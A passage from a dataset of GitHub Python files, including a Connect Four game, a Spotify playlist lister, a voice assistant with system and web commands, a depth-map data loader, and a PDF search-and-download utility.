list(zip(l2[0], l2[1]))\n    result2 = l2[::-1]\n    return result1, result2\n\n\ndef fall_edit(player, xi, yi):\n    for i in range(SIZE_ROW - 1):  # loop through board\n        if xi != SIZE_ROW - 1:  # if number is at the bottom row\n            # move cell down if there is available space\n            if board_np[xi + 1][yi] == 0:\n                board_np[xi][yi] = 0\n                xi += 1\n                board_np[xi][yi] = player\n\n\ndef is_valid_move(x, y):\n    if 0 < y <= SIZE_COL:\n        if board_np[x, y - 1] == 0:\n            return True\n    return False\n\n\ndef use_input(input_col, player):\n    input_col = int(input_col)\n    if is_valid_move(0, input_col):\n        board_np[0, input_col - 1] = player\n    else:\n        print(INVALID_MOVE % player)\n        return False\n\n\ndef winning_move(board, player):\n    for kernel in detection_kernels:\n        if (convolve2d(board == player, kernel, mode=\"valid\") == 4).any():\n            return True\n    return False\n\n\ndef fall():\n    for i in range(0, 2):\n        result1, result2 = create_num_arr()\n        # separate x and y\n        for xi, yi in result1:\n            # edit board\n            fall_edit(1, xi, yi)\n\n        # separate x and y\n        for xi, yi in result2:\n            # edit board\n            fall_edit(2, xi, yi)\n    print_board()\n\n\ndef run():\n    player = 1\n    print_board()\n    while True:\n        print(USER_INPUT % player)\n        var = input()\n        if var and allowed.issuperset(var):\n            if player == 1:\n                use_input(var, 1)\n                fall()\n                if winning_move(board_np, player):\n                    print(f\"Player {player} has won!\")\n                    break\n                player = 2\n            else:\n                use_input(var, 2)\n                fall()\n                if winning_move(board_np, player):\n                    print(f\"Player {player} has won!\")\n                    break\n                player = 1\n        else:\n            print(NOT_VALID_INPUT % player)\n\n\nif __name__ == '__main__':\n    run()\n","repo_name":"Jacob1010-h/gameBot","sub_path":"connectFourNP.py","file_name":"connectFourNP.py","file_ext":"py","file_size_in_byte":3228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"37084375702","text":"import os\nimport argparse as args\nimport spotipy\nfrom spotipy.oauth2 import SpotifyClientCredentials\n\n\nclass SpotifyBrowser:\n\n    def __init__(self, client_id, client_secret):\n        os.environ['SPOTIPY_CLIENT_ID'] = client_id\n        os.environ['SPOTIPY_CLIENT_SECRET'] = client_secret\n        self.spotify = spotipy.Spotify(client_credentials_manager=SpotifyClientCredentials())\n        self.counter = 0\n\n    def print_playlist_tracks(self, playlist_uri):\n        playlist = self.spotify.playlist(playlist_uri)\n        playlist_name = playlist['name']\n        songs = playlist['tracks']\n        for song in songs['items']:\n            album = song['track']['album']\n            track = song['track']\n            album = track['album']\n            album_name = album['name']\n            artists_list = []\n            for artist in track['artists']:\n                artists_list.append(artist['name'])\n            song_name = track['name']\n            self.counter = self.counter + 1\n            to_print = ','.join([str(self.counter), playlist_name, song_name, ' '.join(artists_list), album_name])\n            print(to_print)\n\n    def print_all_data(self, user_playlists):\n        for playlist_item in user_playlists['items']:\n            x.print_playlist_tracks(playlist_item['uri'])\n\n    def get_user_playlists(self, user):\n        return self.spotify.user_playlists(user)\n\n\nif __name__ == \"__main__\":\n    parser = args.ArgumentParser(description='Get all my Spotify Playlists. You will need your client id, client '\n                                             ' secret and spotify username and it will pull your '\n                                             'play list, song name, artist(s) and album')\n    parser.add_argument('-c', '--client_id', dest='client_id', type=str)\n    parser.add_argument('-s', '--client_secret', dest='client_secret', type=str)\n    parser.add_argument('-u', '--user', dest='user_name', type=str)\n    arguments = parser.parse_args()\n\n    x = SpotifyBrowser(arguments.client_id, arguments.client_secret)\n    user_playlists = x.get_user_playlists(user=arguments.user_name)\n    x.print_all_data(user_playlists)\n","repo_name":"junaidm2014/spotipy","sub_path":"spotify.py","file_name":"spotify.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25544380526","text":"# Write a program to sort characters in a string\n\ndef sorting(str):\n    str=sorted(str)\n    \n    for i in str:\n        print(i,end=\"\")\n\nif __name__==\"__main__\":\n    string=input(\"Enter string:\")\n\n    sorting(string)","repo_name":"Ashvinibodade/TCS_code_questions","sub_path":"Problem89.py","file_name":"Problem89.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34939275463","text":"import speech_recognition as sr     #convert speech to text\r\nimport datetime                     #for fetching date and time\r\nimport  time                        #time\r\nimport wikipedia\r\nimport cv2                          #camera\r\nfrom bs4 import BeautifulSoup       #extract data out of HTML and XML files\r\nimport webbrowser                   #allow displaying web-based documents to user\r\nimport requests                     #allows you to send HTTP requests\r\nimport smtplib                      #mail\r\nimport playsound\r\nimport subprocess\r\nimport random\r\nfrom selenium import webdriver\r\n#lock window\r\n#to play saved mp3 file\r\n#import pyglet\r\nimport pyjokes                      #jokes\r\nfrom gtts import gTTS               #google text to speech\r\nimport os                           #to save/open files\r\nfrom plyer import notification      #access the features of the hardware\r\nimport wolframalpha                 #to calculate strings into formula\r\n\r\n#print(\"hello world\")\r\n#send mail\r\n\r\nheaders = {\r\n    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}\r\n\r\n\r\n\r\n## smart assistant\r\n\r\ndef fun():\r\n    respond(\"Switched to smart version. File is loading...\")\r\n    import emotion\r\n    answer=[]\r\n    respond(\"Activated..\")\r\n    respond(\"Hey I am your assistant chitti two point O with additional functionality of sentiment analysis\")\r\n    respond(\"Reply my questions i will help you according to your sentiment\")\r\n    respond(\"What is your name\")\r\n    text = talk().lower()\r\n    respond(\"What is your profession\")\r\n    text = talk().lower()\r\n    respond(\"how are you\")\r\n    text = talk().lower()\r\n    answer.append(text)\r\n    respond(\"how is your day going\")\r\n    text = talk().lower()\r\n    answer.append(text)\r\n    respond(\"Did you find your day productive\")\r\n    text = talk().lower()\r\n    if 'yes' in text:\r\n        text=\"yes Its very productive day\"\r\n    else:\r\n        text = \"no Its not productive day\"\r\n    answer.append(text)\r\n\r\n    ##2-3 more questions\r\n    res=emotion.predict(answer)\r\n    respond(\"Chitti got your emotion\")\r\n    #respond(res)\r\n    if(res=='happy'):\r\n        respond(\"You are happy listen this song and make your day more beautiful\")\r\n        webbrowser.open(\"https://www.youtube.com/watch?v=_ae2j9jZY_U&t=128s\")\r\n        time.sleep(20)\r\n        ##songs\r\n    elif(res=='sad'):\r\n        respond(\"Once Lemony Snicket said The way sadness works is one of the strange riddles of the world. If you are stricken with a great sadness, you may feel as if you have been set aflame, not only because of the enormous pain but also because your sadness may spread over your life, like smoke from an enormous fire. So always be motivated and be happy\")\r\n        respond(\"Listen this video perhaps it will help you in making you more confident\")\r\n        webbrowser.open(\"https://www.youtube.com/watch?v=tNN8JCf4Wms\")\r\n        time.sleep(20)\r\n        ##motivational quotes and videos\r\n    else:\r\n        respond(\"oooh its good to see you are in neutral mood\")\r\n        respond(\"listen this song it will help you in making mood more happy sadabahaar songs\")\r\n        webbrowser.open(\"https://www.youtube.com/watch?v=ndE-4vLc1IE\")\r\n        time.sleep(20)\r\n        ##sadabahar songs\r\n\r\n#wish according to time\r\n\r\ndef wishMe():\r\n    hour = int(datetime.datetime.now().hour) ##store time in hour\r\n\r\n    if hour >= 4 and hour < 12:\r\n        respond(\"Hello Good Morning!\")\r\n\r\n    elif hour >= 12 and hour < 18:\r\n        respond(\"Hello Good Afternoon !\")\r\n\r\n    else:\r\n        respond(\"Hello Good Evening\")\r\n\r\n    assname = (\"Chitti 1 point o\")   ##giving name to my assistant\r\n    respond(f\"I am your assistant {assname}\")\r\n\r\n##respond function ->text will convert to voice here ...what will my assistant said is here\r\ndef respond(output):\r\n    print(\"Responding...\")\r\n    num = 0\r\n    print(output)\r\n    num += 1\r\n    response = gTTS(text=output, lang='en',tld=\"com\")\r\n    file = str(num)+'.mp3'\r\n    file = str(file)\r\n    #print(file)\r\n    response.save(file)\r\n    playsound.playsound(file)\r\n    #playsound.playsound(None)\r\n    #print(output)\r\n    #playsound.playsound('1.mp3')\r\n    os.remove(file)\r\n\r\n\r\ndef weather(city):\r\n    city = city.replace(\" \", \"+\")\r\n    res = requests.get(\r\n        f'https://www.google.com/search?q={city}&oq={city}&aqs=chrome.0.35i39l2j0l4j46j69i60.6128j1j7&sourceid=chrome&ie=UTF-8',\r\n        headers=headers)\r\n    print(\"Searching...\\n\")\r\n    soup = BeautifulSoup(res.text, 'html.parser')\r\n    location = soup.select('#wob_loc')[0].getText().strip()\r\n    time = soup.select('#wob_dts')[0].getText().strip()\r\n    info = soup.select('#wob_dc')[0].getText().strip()\r\n    weather = soup.select('#wob_tm')[0].getText().strip()\r\n    respond(location)\r\n    respond(time)\r\n    respond(info)\r\n    respond(weather + \"°Celcius\")\r\n# voice will convert in to text\r\ndef talk():\r\n\r\n    print(\"Listening...\")\r\n    input = sr.Recognizer()\r\n    with sr.Microphone() as source:\r\n        input.adjust_for_ambient_noise(source)\r\n        audio = input.listen(source)\r\n        data = \"\"\r\n        try:\r\n            print(\"Recognizing..\")\r\n            data = input.recognize_google(audio)\r\n            print(\"User Said...->\" + data)\r\n        except sr.UnknownValueError:\r\n            print(\"Sorry I did not hear your words, Please repeat again.\")\r\n    return data\r\n\r\n\r\n#main function\r\nif __name__ == '__main__':\r\n    wishMe()\r\n    counter =0\r\n\r\n    while (1):\r\n        hour = int(datetime.datetime.now().hour)\r\n        if(hour == 10 or hour == 12 or hour == 18 or hour ==22):\r\n            counter = counter+1\r\n            if(counter<3):\r\n                notification.notify(\r\n                        title=\"** Please Drink Water Now!!\",\r\n                        message=\"The National Academies of Sciences, Engineering, and Medicine determined that an adequate daily fluid intake is: About 15.5 cups (3.7 liters) of fluids for men. About 11.5 cups (2.7 liters) of fluids a day for women.\",\r\n                        # app_icon = \"path to your .ico file\",\r\n                        timeout=5\r\n                    )\r\n        respond(\"How can I help you?\")\r\n        text = talk().lower()\r\n        #--->print(text)\r\n        # if nothing will said\r\n        if text == \"\":\r\n            respond(\"Sorry I did not hear your words, Please repeat again.\")\r\n            continue\r\n\r\n        if 'wait' in text:\r\n            time.sleep(20)\r\n\r\n        if \"stop\" in str(text) or \"exit\" in str(text) or \"bye\" in str(text):\r\n            respond(\"Ok bye and take care\")\r\n            break\r\n\r\n        if 'wikipedia' in text:\r\n            respond('Searching Wikipedia')\r\n            text = text.replace(\"wikipedia\", \"\")\r\n            results = wikipedia.summary(text, sentences=3)\r\n            respond(\"According to Wikipedia\")\r\n            respond(results)\r\n            print(results)\r\n\r\n        elif 'open google' in text:\r\n            webbrowser.open_new_tab(\"https://www.google.com\")\r\n            respond(\"Google is open\")\r\n            time.sleep(5)\r\n\r\n        elif (\"open word\" in text) or (\"open microsoft word\" in text):\r\n            respond(\"Opening Microsoft Word\")\r\n            os.startfile('C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Word')\r\n            time.sleep(5)\r\n\r\n        elif (\"open excel\" in text) or (\"open microsoft excel\" in text) :\r\n            respond(\"Opening Microsoft Excel\")\r\n            os.startfile('C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Excel')\r\n            time.sleep(5)\r\n        elif \"open notepad\" in text:\r\n            respond(\"Opening Notepad\")\r\n            os.startfile('C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Accessories/Notepad')\r\n            time.sleep(5)\r\n\r\n        elif 'the time' in text:\r\n            strTime = datetime.datetime.now().strftime(\"%H:%M:%S\")\r\n            respond(f\"Sir, the time is {strTime}\")\r\n\r\n        elif 'how are you' in text:\r\n            respond(\"I am fine, Thank you\")\r\n            respond(\"How are you\")\r\n            text = talk().lower()\r\n            if 'fine' in text or \"good\" in text:\r\n                respond(\"It's good to know that you are fine\")\r\n            else:\r\n                respond(\"ok\")\r\n\r\n        elif \"who made you\" in text or \"who created you\" in text:\r\n            respond(\"I have been created by Tanzeem Khan\")\r\n\r\n        elif \"who are you\" in text:\r\n            respond(\"I am your virtual assistant created by Tanzeem Khan\")\r\n\r\n        elif 'reason for you' in text or 'why are you created' in text:\r\n            respond(\"I was created as a Major project by Tanzeem Khan \")\r\n\r\n        elif \"where is\" in text:\r\n            text = text.replace(\"where is\", \"\")\r\n            location = text\r\n            respond(\"User asked to Locate\")\r\n            respond(location)\r\n            webbrowser.open(\"https://www.google.nl/maps/place/\"+location +\"\")\r\n            respond(\"Here is your result\")\r\n            time.sleep(10)\r\n\r\n        elif 'i love you' in text:\r\n            respond(\" I love you too but as a machine\")\r\n            respond(\"It is 7th sense that destroy all other senses\")\r\n\r\n        elif 'is love' in text:\r\n            respond(\"It is 7th sense that destroy all other senses\")\r\n\r\n        elif \"write a note\" in text:\r\n            respond(\"What should i write, sir\")\r\n            note =talk().lower()\r\n            file = open('jarvis.txt', 'w')\r\n            respond(\"Sir, Should i include date and time\")\r\n            snfm = talk().lower()\r\n            if 'yes' in snfm or 'sure' in snfm:\r\n                strTime = datetime.datetime.now().strftime(\"%m-%d-%Y %T:%M%p\")\r\n                file.write(strTime)\r\n                file.write(\" :- \")\r\n                file.write(note)\r\n            else:\r\n                file.write(note)\r\n            respond(\"this is what you said me to write\")\r\n            file = open(\"C:/Users/Lenovo/PycharmProjects/voice_assis/jarvis.txt\", \"r\")\r\n            print(file.read())\r\n            os.startfile(os.path.join(\"C:Users/Lenovo/PycharmProjects/voice_assis/jarvis.txt\"))\r\n            #file1 = file.read(6)\r\n            #respond(file1)\r\n\r\n        elif 'play music' in text or \"play a song\" in text:\r\n            respond(\"Here you go with music\")\r\n            # music_dir = \"G:\\\\Song\"\r\n            music_dir = \"E:/Songs/hindi\"\r\n            songs = os.listdir(music_dir)\r\n            #print(songs)\r\n            print(random.choice(songs))\r\n            random1 = os.startfile(os.path.join(music_dir, random.choice(songs)))\r\n            break\r\n\r\n        elif 'joke' in text:\r\n            respond(pyjokes.get_joke(language='en', category='all'))\r\n\r\n        elif 'lock window' in text:\r\n            respond(\"locking the device bye bye take care\")\r\n            cmd = 'rundll32.exe user32.dll, LockWorkStation'\r\n            subprocess.call(cmd)\r\n            break\r\n            #ctypes.windll.user32.LockWorkStation()\r\n\r\n        elif 'shut down' in text:\r\n            respond(\"Are you sure you want to shut down your computer\")\r\n            a = talk().lower()\r\n            if (a =='yes'):\r\n                os.system(\"shutdown /s /t 1\")\r\n            else:\r\n                continue\r\n\r\n        elif 'mail' in text:\r\n            respond(\"Do you want to send mail from your email id of Tanzeem Khan\")\r\n            t = talk().lower()\r\n            if(t == \"yes\"):\r\n                from1 =\"khantanzeem.1998@gmail.com\"\r\n                pwd =\"**********\"\r\n                try:\r\n                    respond(\"What should I say?\")\r\n                    content = talk().lower()\r\n                    respond(\"this is what you said\")\r\n                    respond(content)\r\n                    respond(\"If you want to change it please say yes to type\")\r\n                    t=talk().lower()\r\n                    if(t=='yes'):\r\n                        content = input(\"please type->:  \")\r\n\r\n                    respond(\"whome should i send please type email address\")\r\n                    to = input(\"please type->:  \")\r\n                    #sendEmail(to, content)\r\n                    respond(\"Email has been sent !\")\r\n                except Exception as e:\r\n                    print(e)\r\n                    respond(\"I am not able to send this email\")\r\n            else:\r\n                respond(\"please type email address\")\r\n                from1 = input(\"please type->:  \")\r\n                respond(\"please type password of your email address\")\r\n                pwd = input(\"please type->:  \")\r\n                respond(\"What should I say?\")\r\n                content = talk().lower()\r\n                respond(\"this is what you said\")\r\n                respond(content)\r\n                respond(\"If you want to change it please say yes to type\")\r\n                t = talk().lower()\r\n                if (t == 'yes'):\r\n                    content = input(\"please type->:  \")\r\n                respond(\"whome should i send please type email address\")\r\n                to = input(\"please type->:  \")\r\n                #sendEmail(to, content)\r\n\r\n\r\n            server = smtplib.SMTP('smtp.gmail.com', 587)\r\n            server.ehlo()\r\n            server.starttls()\r\n\r\n            # Enable low security in gmail\r\n            server.login(from1, pwd)\r\n            server.sendmail(from1, to, content)\r\n            server.close()\r\n\r\n        elif 'empty recycle bin' in text:\r\n            #winshell.recycle_bin().empty(confirm=False, show_progress=False, sound=True)\r\n            respond(\"Recycle Bin Recycled\")\r\n\r\n        elif \"camera\" in text or \"take a photo\" in text:\r\n            import cv2\r\n            respond(\"Press Space bar to capture the Image and press Escape to close Camera\")\r\n            cam = cv2.VideoCapture(0)\r\n            #cv2.namedWindow(\"Chitti Camera\")\r\n            img_counter = 0\r\n            while True:\r\n                ret, frame = cam.read()\r\n                if not ret:\r\n                    print(\"failed to grab frame\")\r\n                    break\r\n                cv2.imshow(\"test\", frame)\r\n                k = cv2.waitKey(1)\r\n                if k % 256 == 27:\r\n                    # ESC pressed\r\n                    print(\"Escape hit, closing...\")\r\n                    break\r\n                elif k % 256 == 32:\r\n                    # SPACE pressed\r\n                    img_name = \"images/pic{}.png\".format(img_counter)\r\n                    cv2.imwrite(img_name, frame)\r\n                    print(\"{}\".format(img_name))\r\n                    img_counter += 1\r\n            cam.release()\r\n            cv2.destroyAllWindows()\r\n\r\n        elif 'weather' in text:\r\n            respond(\"Say City Name\")\r\n            city = talk().lower()\r\n            city = city + \" weather\"\r\n            weather(city)\r\n            respond(\"Have a Nice Day:\")\r\n\r\n        elif 'google' in text:\r\n            respond(\"Say what do you want to search in google\")\r\n            query = talk().lower()\r\n            webbrowser.open_new_tab(\"https://www.google.com/search?q=\"+query)\r\n\r\n        elif 'youtube' in text:\r\n            respond(\"Say what do you want to search in Youtube\")\r\n            query = talk().lower()\r\n            webbrowser.open_new_tab(\"https://www.youtube.com/results?search_query=\"+query)\r\n\r\n\r\n        elif 'smart' in text:\r\n            fun()\r\n        else:\r\n            respond(\"Sorry Application is not available right now. i will add this feature in my next version\")\r\n\r\n","repo_name":"khantanzeem/voiceassistant","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71605558802","text":"import matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport numpy as np\nimport tensorflow as tf\nimport os\nimport cv2\n\nmodels_path = \"./models_origin\"\ndepth_map_path = \"./depth_maps\"\n\n#files = os.listdir(path)\n\naz = [\"0\", \"60\", \"120\", \"180\", \"240\", \"300\"]\nel = [\"-60\", \"-20\", \"20\", \"60\"]\n\npermutation_none = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23])\npermutation_up_down = np.array([3, 2, 1, 0, 7, 6, 5, 4, 11, 10, 9, 8, 15, 14, 13, 12, 19, 18, 17, 16, 23, 22, 21, 20])\npermutation_rot_60 = np.array([4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 0, 1, 2, 3])\npermutation_rot_120 = np.array([8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 0, 1, 2, 3, 4, 5, 6, 7])\npermutation_rot_180 = np.array([12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])\npermutation_rot_240 = np.array([16, 17, 18, 19, 20, 21, 22, 23, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15])\npermutation_rot_300 = np.array([20, 21, 22, 23, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19])\npermutation_rot_60_ud = permutation_rot_60[permutation_up_down]\npermutation_rot_120_ud = permutation_rot_120[permutation_up_down]\npermutation_rot_180_ud = permutation_rot_180[permutation_up_down]\npermutation_rot_240_ud = permutation_rot_240[permutation_up_down]\npermutation_rot_300_ud = permutation_rot_300[permutation_up_down]\n\nper = [permutation_none, permutation_up_down, permutation_rot_60, permutation_rot_180, permutation_rot_120, permutation_rot_240, permutation_rot_300, permutation_rot_60_ud, permutation_rot_120_ud, permutation_rot_180_ud, permutation_rot_240_ud, permutation_rot_300_ud]\n\n'''\ndef get_data(batch_size, train_size, test_size):\n    model_files = os.listdir(models_path)\n    train_data = np.empty(shape=[0, 24, 64, 64])\n    test_data = np.empty(shape=[0, 24, 64, 64])\n    train_label = []\n    test_label = []\n    idx = 0\n    for file in model_files:\n        if not os.path.isdir(file):\n            input_data_origin = np.empty(shape=[0, 64, 64])\n            input_label_origin = 11\n            for a in az:\n                for e in el:\n                    channel_name = depth_map_path + \"/\" + file + \"_\" + a + \"_\" + e + \".jpg\"\n                    channel = cv2.imread(channel_name, 0)\n                    channel = cv2.copyMakeBorder(channel, 11, 11, 4, 4, cv2.BORDER_CONSTANT, value=(0, 0, 0))\n                    channel = np.array(channel)\n                    input_data_origin = np.concatenate((input_data_origin, np.expand_dims(channel, axis=0)), axis=0)\n            #\n            input_data_origin = np.array(input_data_origin)\n            for permut in per:\n                input_data = input_data_origin[permut]\n                input_label = np.where(permut == input_label_origin)[0][0]\n                if idx < train_size:\n                    train_data = np.concatenate((train_data, np.expand_dims(input_data, axis=0)), axis=0)\n                    train_label.append(input_label)\n                elif idx < train_size + test_size:\n                    test_data = np.concatenate((test_data, np.expand_dims(input_data, axis=0)), axis=0)\n                    test_label.append(input_label)\n                idx += 1\n            if idx > train_size + test_size:\n                break\n\n            # log...keep track of reading process\n            print(train_data.shape, test_data.shape)\n\n\n    train_data = np.transpose(train_data, (0, 2, 3, 1)).astype(np.float32)\n    test_data = np.transpose(test_data, (0, 2, 3, 1)).astype(np.float32)\n    train_label = tf.one_hot(train_label, 24)\n    test_label = tf.one_hot(test_label, 24)\n    print(train_data.shape, test_data.shape, train_label.shape, test_label.shape)\n\n\n    mean = np.round(np.mean(train_data))\n    train_data -= mean\n    test_data -= mean\n\n    train = (train_data, train_label)\n    test = (test_data, test_label)\n    train = tf.data.Dataset.from_tensor_slices(train).shuffle(10000).batch(batch_size)\n    test = tf.data.Dataset.from_tensor_slices(test).batch(batch_size)\n\n    return train, test\n'''\n\ndef get_data(batch_size, train_size, test_size):\n    print('loading data...')\n    data_total = np.empty(shape=[0, 24, 64, 64])\n    label_total = np.empty(shape=[0])\n    idx = 0\n    while data_total.shape[0] < train_size + test_size:\n        idx += 1\n        data_total = np.concatenate((data_total, np.load('data' + str(idx) + '.npy')), axis=0)\n        label_total = np.concatenate((label_total, np.load('label' + str(idx) + '.npy')), axis=0)\n        print('loading... ', data_total.shape, label_total.shape)\n\n    train_data = data_total[: train_size]\n    train_label = label_total[: train_size]\n    test_data = data_total[train_size : train_size + test_size]\n    test_label = label_total[train_size : train_size + test_size]\n    print('split data finished')\n\n    train_data = np.transpose(train_data, (0, 2, 3, 1)).astype(np.float32)\n    test_data = np.transpose(test_data, (0, 2, 3, 1)).astype(np.float32)\n    train_label = tf.one_hot(train_label, 24)\n    test_label = tf.one_hot(test_label, 24)\n    print('transform to tf data finished')\n\n\n    train = (train_data, train_label)\n    test = (test_data, test_label)\n    train = tf.data.Dataset.from_tensor_slices(train).shuffle(10000).batch(batch_size)\n    test = tf.data.Dataset.from_tensor_slices(test).batch(batch_size)\n    print('ready to train...')\n\n    return train, test\n\n\n\nif __name__ == '__main__':\n    get_data(32, 2500, 500) # passed\n","repo_name":"DanDoge/notes-on-algorithms","sub_path":"toy_on_bench/read_data.py","file_name":"read_data.py","file_ext":"py","file_size_in_byte":5510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23293824394","text":"import numpy as np\nimport os\nimport advertools as adv\nimport requests\nimport PyPDF2\n# import fitz\n\nfrom .config_secrets import SE_API_KEY, SE_ID\n# from Product import Product\n\ndef get_serp(query):\n\n    serp = adv.serp_goog(q=[query], key=SE_API_KEY, cx=SE_ID)\n    return serp\n\ndef get_serp_brand_mpn(self):\n\n    query = f\"{self._brand} {self._mpn}\"\n    serp = adv.serp_goog(q=[query], key=SE_API_KEY, cx=SE_ID)\n    return serp\n\ndef get_serp_pdfs(self):\n    \"\"\"\n    Returns a dictionary of PDFs {name:link} related to a product's brand/mpn.\n    \"\"\"\n    query = f\"filetype:pdf {self._brand} {self._mpn} product information\"\n    serp = adv.serp_goog(q=[query], key=SE_API_KEY, cx=SE_ID)\n\n    pdf_rank = list(serp['rank'])\n    pdf_links = list(serp['link'])\n    pdf_links_names = [link.split('.pdf')[0].rsplit('/',1)[1] for link in pdf_links] \n    pdf_names = []\n    for rank,name in zip(pdf_rank,pdf_links_names):\n        pdf_file_name = f\"{self._brand}_{self._mpn}_{str(rank)}_{name}.pdf\"\n        pdf_file_name = pdf_file_name.replace(' ','_')\n        pdf_file_name = pdf_file_name.replace('(','')\n        pdf_file_name = pdf_file_name.replace(')','')\n        pdf_file_name = pdf_file_name.replace('%','')\n        pdf_file_name = pdf_file_name.replace('#','')\n        pdf_names.append(pdf_file_name)\n\n    pdf_dict = {name: link for name, link in zip(pdf_names, pdf_links)}\n    self._pdfs = pdf_dict\n\ndef get_pdf_relevance_score():\n    \"\"\"\n    # TODO: In a future state it will be helpful to add information to the _pdfs dict \n            that returns a confidence score from 0 to 1 that explains how relevant a pdf is to the product.\n    \"\"\"\n    return\n\ndef download_pdfs(self, pdfs_path = \"../data/pdfs\"):\n    \"\"\"\n    Downloads pdf links to a directory called pdfs_path using a given name.\n    Run self.get_serp_pdfs() before running download_pdfs() to initialize the list of pdfs.\n    \"\"\"\n    for pdf_name, pdf_link in self._pdfs.items():\n        print(pdf_name, pdf_link)\n        # define exact path to save the pdf in the loop\n        pdf_file_path = f\"{pdfs_path}/{pdf_name}\"\n        print(pdf_file_path)\n\n        response = requests.get(pdf_link)\n\n        if response.status_code == 200:\n            pdf_content = response.content\n            pdf_file_path = os.path.join(pdfs_path, pdf_name)\n\n            with open(pdf_file_path, 'wb') as pdf_file:\n                pdf_file.write(pdf_content)\n                print(f\"PDF downloaded and saved as '{pdf_file_path}'\")\n        else:\n            print(f\"Failed to download PDF. Status code: {response.status_code}\")\n\n@staticmethod\ndef extract_pdf_text(source_directory = '../data/pdfs', target_directory = '../data/pdf_text'):\n\n    for filename in os.listdir(source_directory):\n        if filename.endswith('.pdf'):\n            pdf_path = os.path.join(source_directory, filename)\n            \n            # Open PDF file\n            pdf_file = open(pdf_path, 'rb')\n            pdf_reader = PyPDF2.PdfReader(pdf_file)\n            \n            # Extract text\n            text = ''\n            for page in pdf_reader.pages:\n                text += page.extract_text()\n            \n            # Close PDF file\n            pdf_file.close()\n            \n            # Save extracted text to a text file in the target directory\n            target_filename = os.path.splitext(filename)[0] + '.txt'\n            target_path = os.path.join(target_directory, target_filename)\n            with open(target_path, 'w', encoding='utf-8') as target_file:\n                target_file.write(text)\n            \n            print(f'Extracted text from {filename} and saved to {target_filename}')\n\n# @staticmethod\n# def extract_pdf_images(source_directory = '../data/pdfs', target_directory = '../data/pdf_images'):\n\n#     for filename in os.listdir(source_directory):\n#         if filename.endswith('.pdf'):\n#             pdf_path = os.path.join(source_directory, filename)\n            \n#             # Open PDF file\n#             pdf_document = fitz.open(pdf_path)\n            \n#             # Iterate through pages and extract images\n#             for page_number in range(pdf_document.page_count):\n#                 page = pdf_document[page_number]\n#                 images = page.get_images(full=True)\n                \n#                 for img_index, img in enumerate(images):\n#                     xref = img[0]\n#                     base_image = pdf_document.extract_image(xref)\n#                     image_data = base_image[\"image\"]\n#                     image_filename = f'{filename}_page_{page_number + 1}_image_{img_index + 1}.png'\n#                     image_path = os.path.join(target_directory, image_filename)\n                    \n#                     with open(image_path, 'wb') as image_file:\n#                         image_file.write(image_data)\n                    \n#                     print(f'Image extracted from {filename} and saved as {image_filename}')\n            \n#             # Close PDF file\n#             pdf_document.close()\n\n# @staticmethod\n# # pip install tabula-py\n# # import os\n# # import tabula\n# def extract_pdf_tables(source_directory = '../data/pdfs', target_directory = '../data/pdf_tables'):\n#     for filename in os.listdir(source_directory):\n#         if filename.endswith('.pdf'):\n#             pdf_path = os.path.join(source_directory, filename)\n#             output_path = os.path.join(target_directory, f'{filename}_tables.csv')\n            \n#             # Extract tables using tabula\n#             tables = tabula.read_pdf(pdf_path, pages='all', multiple_tables=True)\n            \n#             if tables:\n#                 # Concatenate all tables into a single DataFrame\n#                 concatenated_tables = pd.concat(tables)\n                \n#                 # Save the concatenated table to a CSV file\n#                 concatenated_tables.to_csv(output_path, index=False)\n#                 print(f'Tables extracted from {filename} and saved as {output_path}')\n#             else:\n#                 print(f'No tables found in {filename}')","repo_name":"VanAltrades/product-d-structur","sub_path":"src/serps.py","file_name":"serps.py","file_ext":"py","file_size_in_byte":6029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7147174621","text":"import numpy as np\nimport pandas as pd\nfrom abc import ABC, abstractmethod\n\n\nclass LyricWeigher(ABC):\n\n    def __init__(self, idx_range=None):\n        \"\"\"An abstract class, used as a schematic for weighing lyrics. This can\n            be used to prioritize certain parts of a line, stanza, etc.\n\n        Args:\n            idx_range (list, optional): The lyric tokens in a list to consider.\n                Defaults to None. For instance, you may only want to consider\n                the first and last token.\n        \"\"\"\n        self.idx_range = idx_range\n\n    @abstractmethod\n    def weigh_subset(self, lyrics, *args, **kwargs):\n        \"\"\"An abstract method -- this method should describe the method for\n                weighing the subset of lyric tokens. Should return the\n                multiplicative weight for the subset. These should sum to one.\n\n        Args:\n            lyrics (list [str]): lyrics to weigh\n\n        \"\"\"\n        pass\n\n    def weigh_lyrics(self, lyrics, *args, **kwargs):\n        \"\"\"Creates an array to store the weights, then weighs the values\n        for the subset based on the weigh_subset method.\n\n        Args:\n            lyrics (list [str]): A list of tokens of lyrics to weigh\n\n        Returns:\n            np.array: An array containing the appropriate weights -- this\n                should sum to one.\n        \"\"\"\n        ret = np.zeros(len(lyrics))\n      